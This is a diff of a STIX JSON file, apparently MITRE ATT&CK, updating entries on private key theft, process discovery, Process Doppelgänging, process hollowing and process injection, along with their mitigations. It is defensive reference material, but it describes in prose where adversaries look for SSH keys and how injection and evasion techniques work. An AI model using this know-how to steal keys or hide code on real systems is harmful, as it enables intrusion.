+            "description": "Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. (Citation: Wikipedia Public Key Crypto)\n\nAdversaries may gather private keys from compromised systems for use in authenticating to Remote Services like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as <code>~/.ssh</code> for SSH keys on *nix-based systems or <code>C:\\Users\\(username)\\.ssh\\</code> on Windows.\n\nPrivate keys should require a password or passphrase for operation, so an adversary may also use Input Capture for keylogging or attempt to Brute Force the passphrase off-line.\n\nAdversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates. (Citation: Kaspersky Careto) (Citation: Palo Alto Prince of Persia)\n\nDetection: Monitor access to files and directories related to cryptographic keys and certificates as a means for potentially detecting access patterns that may indicate collection and exfiltration activity. Collect authentication logs and look for potentially abnormal activity that may indicate improper use of keys or certificates for remote authentication.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: File monitoring\n\nPermissions Required: User\n\nContributors: Itzik Kotler, SafeBreach",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -9552,33 +10006,21 @@
             "x_mitre_contributors": [
                 "Itzik Kotler, SafeBreach"
             ],
-            "x_mitre_permissions_required": [
-                "User"
-            ],
             "x_mitre_platforms": [
                 "Linux",
-                "MacOS",
-                "OS X",
-                "Windows 10",
-                "Windows 7",
-                "Windows 8",
-                "Windows 8.1",
-                "Windows Server 2003",
-                "Windows Server 2003 R2",
-                "Windows Server 2008",
-                "Windows Server 2008 R2",
-                "Windows Server 2012",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows XP"
+                "Windows",
+                "macOS"
+            ],
+            "x_mitre_permissions_required": [
+                "User"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--f6469191-1814-4dbe-a081-2a6daf83a10b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Process Discovery Mitigation",
             "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about processes, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
@@ -9593,24 +10035,24 @@
                     "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                 },
                 {
-                    "source_name": "Corio 2008",
-                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
-                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
+                    "source_name": "Windows Commands JPCERT",
+                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
+                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                 },
                 {
                     "source_name": "NSA MS AppLocker",
                     "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                     "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                 },
+                {
+                    "source_name": "Corio 2008",
+                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
+                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
+                },
                 {
                     "source_name": "TechNet Applocker vs SRP",
                     "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                     "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
-                },
-                {
-                    "source_name": "Windows Commands JPCERT",
-                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
-                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                 }
             ]
         },
@@ -9619,9 +10061,9 @@
             "id": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:48.728Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Process Discovery",
-            "description": "Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software running on systems within the network.\n\n===Windows===\n\nAn example command that would obtain details on processes is \"tasklist\" using the Tasklist utility.\n\n===Mac and Linux===\n\nIn Mac and Linux, this is accomplished with the <code>ps</code> command.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM\n\nSystem Requirements: Administrator, SYSTEM may provide better process ownership details",
+            "description": "Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software running on systems within the network.\n\n===Windows===\n\nAn example command that would obtain details on processes is \"tasklist\" using the Tasklist utility.\n\n===Mac and Linux===\n\nIn Mac and Linux, this is accomplished with the <code>ps</code> command.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM\n\nSystem Requirements: Administrator, SYSTEM may provide better process ownership details",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -9642,40 +10084,142 @@
                 "Process command-line parameters",
                 "Process monitoring"
             ],
-            "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
-            ],
             "x_mitre_permissions_required": [
                 "User",
                 "Administrator",
                 "SYSTEM"
             ],
+            "x_mitre_platforms": [
+                "Linux",
+                "macOS",
+                "Windows"
+            ],
             "x_mitre_system_requirements": [
                 "Administrator, SYSTEM may provide better process ownership details"
             ]
         },
+        {
+            "type": "course-of-action",
+            "id": "course-of-action--34d6a2ef-370e-4d21-a34b-6208b7c78f31",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Process Doppelg\u00e4nging Mitigation",
+            "description": "This type of attack technique cannot be easily mitigated with preventive controls or patched since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate process-loading mechanisms from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.\n\nAlthough Process Doppelg\u00e4nging may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1186",
+                    "external_id": "T1186"
+                },
+                {
+                    "source_name": "Beechey 2010",
+                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
+                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
+                },
+                {
+                    "source_name": "Windows Commands JPCERT",
+                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
+                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
+                },
+                {
+                    "source_name": "NSA MS AppLocker",
+                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
+                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
+                },
+                {
+                    "source_name": "Corio 2008",
+                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
+                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
+                },
+                {
+                    "source_name": "TechNet Applocker vs SRP",
+                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
+                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
+                }
+            ]
+        },
+        {
+            "type": "attack-pattern",
+            "id": "attack-pattern--c1a452f3-6499-4c12-b7e9-a6a0a102af76",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Process Doppelg\u00e4nging",
+            "description": "Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)\n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nAdversaries may leverage TxF to a perform a file-less variation of Process Injection called Process Doppelg\u00e4nging. Similar to Process Hollowing, Process Doppelg\u00e4nging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process Doppelg\u00e4nging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nProcess Doppelg\u00e4nging is implemented in 4 steps (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017):\n* Transact \u2013 Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\n* Load \u2013 Create a shared section of memory and load the malicious executable.\n* Rollback \u2013 Undo changes to original executable, effectively removing malicious code from the file system.\n* Animate \u2013 Create a process from the tainted section of memory and initiate execution.\n\nDetection: Monitor and analyze calls to CreateTranscation, CreateFileTransacted, RollbackTransaction, and other rarely used functions indicative of TxF activity. Process Doppelg\u00e4nging also invokes an outdated and undocumented implementation of the Windows process loader via calls to NtCreateProcessEx and NtCreateThreadEx as well as API calls used to modify memory within another process, such as WriteProcessMemory. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017) (Citation: hasherezade Process Doppelg\u00e4nging Dec 2017)\n\nScan file objects reported during the PsSetCreateProcessNotifyRoutine, (Citation: Microsoft PsSetCreateProcessNotifyRoutine routine) which triggers a callback whenever a process is created or deleted, specifically looking for file objects with enabled write access. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017) Also consider comparing file objects loaded in memory to the corresponding file on disk. (Citation: hasherezade Process Doppelg\u00e4nging Dec 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.\n\nPlatforms: Windows\n\nData Sources: API monitoring, Process Monitoring\n\nDefense Bypassed: Process whitelisting, Anti-virus, Whitelisting by file name or path, Signature-based detection\n\nPermissions Required: User, Administrator, SYSTEM",
+            "kill_chain_phases": [
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "defense-evasion"
+                }
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1186",
+                    "external_id": "T1186"
+                },
+                {
+                    "source_name": "Microsoft TxF",
+                    "description": "Microsoft. (n.d.). Transactional NTFS (TxF). Retrieved December 20, 2017.",
+                    "url": "https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx"
+                },
+                {
+                    "source_name": "Microsoft Basic TxF Concepts",
+                    "description": "Microsoft. (n.d.). Basic TxF Concepts. Retrieved December 20, 2017.",
+                    "url": "https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx"
+                },
+                {
+                    "source_name": "Microsoft Where to use TxF",
+                    "description": "Microsoft. (n.d.). When to Use Transactional NTFS. Retrieved December 20, 2017.",
+                    "url": "https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx"
+                },
+                {
+                    "source_name": "BlackHat Process Doppelg\u00e4nging Dec 2017",
+                    "description": "Liberman, T. & Kogan, E. (2017, December 7). Lost in Transaction: Process Doppelg\u00e4nging. Retrieved December 20, 2017.",
+                    "url": "https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf"
+                },
+                {
+                    "source_name": "hasherezade Process Doppelg\u00e4nging Dec 2017",
+                    "description": "hasherezade. (2017, December 18). Process Doppelg\u00e4nging \u2013 a new way to impersonate a process. Retrieved December 20, 2017.",
+                    "url": "https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/"
+                },
+                {
+                    "source_name": "Microsoft PsSetCreateProcessNotifyRoutine routine",
+                    "description": "Microsoft. (n.d.). PsSetCreateProcessNotifyRoutine routine. Retrieved December 20, 2017.",
+                    "url": "https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_data_sources": [
+                "API monitoring",
+                "Process Monitoring"
+            ],
+            "x_mitre_defense_bypassed": [
+                "Process whitelisting",
+                "Anti-virus",
+                "Whitelisting by file name or path",
+                "Signature-based detection"
+            ],
+            "x_mitre_permissions_required": [
+                "User",
+                "Administrator",
+                "SYSTEM"
+            ],
+            "x_mitre_platforms": [
+                "Windows"
+            ]
+        },
         {
             "type": "course-of-action",
             "id": "course-of-action--7c39ebbf-244e-4d1c-b0ac-b282453ece43",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Process Hollowing Mitigation",
-            "description": "Mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior. \n\nAlthough process hollowing may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions, including process hollowing, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
+            "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior. \n\nAlthough process hollowing may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
                 {
                     "source_name": "mitre-attack",
@@ -9714,17 +10258,13 @@
             "id": "attack-pattern--1c338d0f-a65e-4073-a5c1-c06878849f21",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:09.815Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Process Hollowing",
-            "description": "Process hollowing occurs when a process is created in a suspended state and the process's memory is replaced with the code of a second program so that the second program runs instead of the original program. Windows and process monitoring tools believe the original process is running, whereas the actual program running is different. (Citation: Leitch Hollowing)\n\nProcess hollowing may be used similarly to DLL Injection to evade defenses and detection analysis of malicious process execution by launching adversary-controlled code under the context of a legitimate process.\n\nDetection: Monitoring API calls may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior.\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process monitoring, API monitoring\n\nDefense Bypassed: Process whitelisting, Anti-virus, Whitelisting by file name or path, Signature-based detection\n\nPermissions Required: User\n\nRemote Support: No",
+            "description": "Process hollowing occurs when a process is created in a suspended state then its memory is unmapped and replaced with malicious code. Similar to Process Injection, execution of the malicious code is masked under a legitimate process and may evade defenses and detection analysis. (Citation: Leitch Hollowing) (Citation: Engame Process Injection July 2017)\n\nDetection: Monitoring API calls may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. API calls that unmap process memory, such as ZwUnmapViewOfSection or NtUnmapViewOfSection, and those that can be used to modify memory within another process, such as WriteProcessMemory, may be used for this technique. (Citation: Engame Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, API monitoring\n\nDefense Bypassed: Process whitelisting, Anti-virus, Whitelisting by file name or path, Signature-based detection\n\nPermissions Required: User",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
                     "phase_name": "defense-evasion"
-                },
-                {
-                    "kill_chain_name": "mitre-attack",
-                    "phase_name": "execution"
                 }
             ],
             "external_references": [
@@ -9737,6 +10277,11 @@
                     "source_name": "Leitch Hollowing",
                     "description": "Leitch, J. (n.d.). Process Hollowing. Retrieved November 12, 2014.",
                     "url": "http://www.autosectools.com/process-hollowing.pdf"
+                },
+                {
+                    "source_name": "Engame Process Injection July 2017",
+                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
+                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
                 }
             ],
             "object_marking_refs": [
@@ -9756,27 +10301,221 @@
                 "User"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
+            ]
+        },
+        {
+            "type": "course-of-action",
+            "id": "course-of-action--74febc44-8955-4e4d-aca0-d4dad2f967d7",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Process Injection Mitigation",
+            "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific Windows API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. (Citation: GDSecurity Linux injection)\n\nIdentify or block potentially malicious software that may contain process injection functionality by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nUtilize Yama  (Citation: Linux kernel Yama) to mitigate ptrace based process injection by restricting the use of ptrace to privileged users only. Other mitigation controls involve the deployment of security kernel modules that provide advanced access control and process restrictions such as SELinux  (Citation: SELinux official), grsecurity  (Citation: grsecurity official), and AppAmour  (Citation: AppArmor official).",
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1055",
+                    "external_id": "T1055"
+                },
+                {
+                    "source_name": "Beechey 2010",
+                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
+                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
+                },
+                {
+                    "source_name": "Windows Commands JPCERT",
+                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
+                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
+                },
+                {
+                    "source_name": "NSA MS AppLocker",
+                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
+                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
+                },
+                {
+                    "source_name": "Corio 2008",
+                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
+                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
+                },
+                {
+                    "source_name": "TechNet Applocker vs SRP",
+                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
+                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
+                },
+                {
+                    "source_name": "GDSecurity Linux injection",
+                    "description": "McNamara, R. (2017, September 5). Linux Based Inter-Process Code Injection Without Ptrace(2). Retrieved December 20, 2017.",
+                    "url": "https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html"
+                },
+                {
+                    "source_name": "Linux kernel Yama",
+                    "description": "Linux Kernel Archives. (n.d.). Yama Documentation - ptrace_scope. Retrieved December 20, 2017.",
+                    "url": "https://www.kernel.org/doc/Documentation/security/Yama.txt"
+                },
+                {
+                    "source_name": "SELinux official",
+                    "description": "SELinux Project. (2017, November 30). SELinux Project Wiki. Retrieved December 20, 2017.",
+                    "url": "https://selinuxproject.org/page/Main%20Page"
+                },
+                {
+                    "source_name": "grsecurity official",
+                    "description": "grsecurity. (2017, December 12). What is grsecurity?. Retrieved December 20, 2017.",
+                    "url": "https://grsecurity.net/"
+                },
+                {
+                    "source_name": "AppArmor official",
+                    "description": "AppArmor. (2017, October 19). AppArmor Security Project Wiki. Retrieved December 20, 2017.",
+                    "url": "http://wiki.apparmor.net/index.php/Main%20Page"
+                }
+            ]
+        },
+        {
+            "type": "attack-pattern",
+            "id": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2017-05-31T21:30:47.843Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Process Injection",
+            "description": "Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.\n\n===Windows===\n\nThere are multiple approaches to injecting code into a live process. Windows implementations include: (Citation: Engame Process Injection July 2017)\n* '''Dynamic-link library (DLL) injection''' involves writing the path to a malicious DLL inside a process then invoking execution by creating a remote thread.\n* '''Portable executable injection''' involves writing malicious code directly into the process (without a file on disk) then invoking execution with either additional code or by creating a remote thread. The displacement of the injected code introduces the additional requirement for functionality to remap memory references. Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue. (Citation: Endgame HuntingNMemory June 2017)\n* '''Thread execution hijacking''' involves injecting malicious code or the path to a DLL into a thread of a process. Similar to Process Hollowing, the thread must first be suspended.\n* '''Asynchronous Procedure Call''' (APC) injection involves attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state. AtomBombing  (Citation: ENSIL AtomBombing Oct 2016) is a variation that utilizes APCs to invoke malicious code previously written to the global atom table. (Citation: Microsoft Atom Table)\n* '''Thread Local Storage''' (TLS) callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. (Citation: FireEye TLS Nov 2017)\n\n===Mac and Linux===\n\nImplementations for Linux and OS X/macOS systems include: (Citation: Datawire Code Injection) (Citation: Uninformed Needle)\n*'''LD_PRELOAD, LD_LIBRARY_PATH''' (Linux), '''DYLD_INSERT_LIBRARIES''' (Mac OS X) environment variables, or the dlfcn application programming interface (API) can be used to dynamically load a library (shared object) in a process which can be used to intercept API calls from the running process. (Citation: Phrack halfdead 1997)\n*'''Ptrace system calls''' can be used to attach to a running process and modify it in runtime. (Citation: Uninformed Needle)\n*'''/proc/[pid]/mem''' provides access to the memory of the process and can be used to read/write arbitrary data to it. This technique is very rare due to its complexity. (Citation: Uninformed Needle)\n*'''VDSO hijacking''' performs runtime injection on ELF binaries by manipulating code stubs mapped in from the linux-vdso.so shared object. (Citation: VDSO hijack 2009)\n\nMalware commonly utilizes process injection to access system resources through which Persistence and other environment modifications can be made. More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.\n\nDetection: Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC, and those that can be used to modify memory within another process, such as WriteProcessMemory, may be used for this technique. (Citation: Engame Process Injection July 2017)\n\nMonitoring for Linux specific calls such as the ptrace system call, the use of LD_PRELOAD environment variable, or dlfcn dynamic linking API calls, should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.  (Citation: ArtOfMemoryForensics)  (Citation: GNU Acct)  (Citation: RHEL auditd)  (Citation: Chokepoint preload rootkits)\n\nMonitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules. (Citation: Microsoft Sysmon v6 May 2017)\n\nMonitor processes and command-line arguments for actions that could be done before or after code injection has occurred and correlate the information with related event information. Code injection may also be performed using PowerShell with tools such as PowerSploit, (Citation: Powersploit) so additional PowerShell monitoring may be required to cover known implementations of this behavior.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: API monitoring, Windows Registry, File monitoring, DLL monitoring, Named Pipes, Process Monitoring\n\nEffective Permissions: User, Administrator, SYSTEM, root\n\nDefense Bypassed: Process whitelisting, Anti-virus\n\nPermissions Required: User, Administrator, SYSTEM, root\n\nContributors: Anastasios Pingios",
+            "kill_chain_phases": [
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "defense-evasion"
+                },
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "privilege-escalation"
+                }
             ],
-            "x_mitre_remote_support": false
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1055",
+                    "external_id": "T1055"
+                },
+                {
+                    "source_name": "Powersploit",
+                    "description": "PowerSploit. (n.d.).  Retrieved December 4, 2014.",
+                    "url": "https://github.com/mattifestation/PowerSploit"
+                },
+                {
+                    "source_name": "Engame Process Injection July 2017",
+                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
+                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
+                },
+                {
+                    "source_name": "Endgame HuntingNMemory June 2017",
+                    "description": "Desimone, J. (2017, June 13). Hunting in Memory. Retrieved December 7, 2017.",
+                    "url": "https://www.endgame.com/blog/technical-blog/hunting-memory"
+                },
+                {
+                    "source_name": "Microsoft APC",
+                    "description": "Microsoft. (n.d.). Asynchronous Procedure Calls. Retrieved December 8, 2017.",
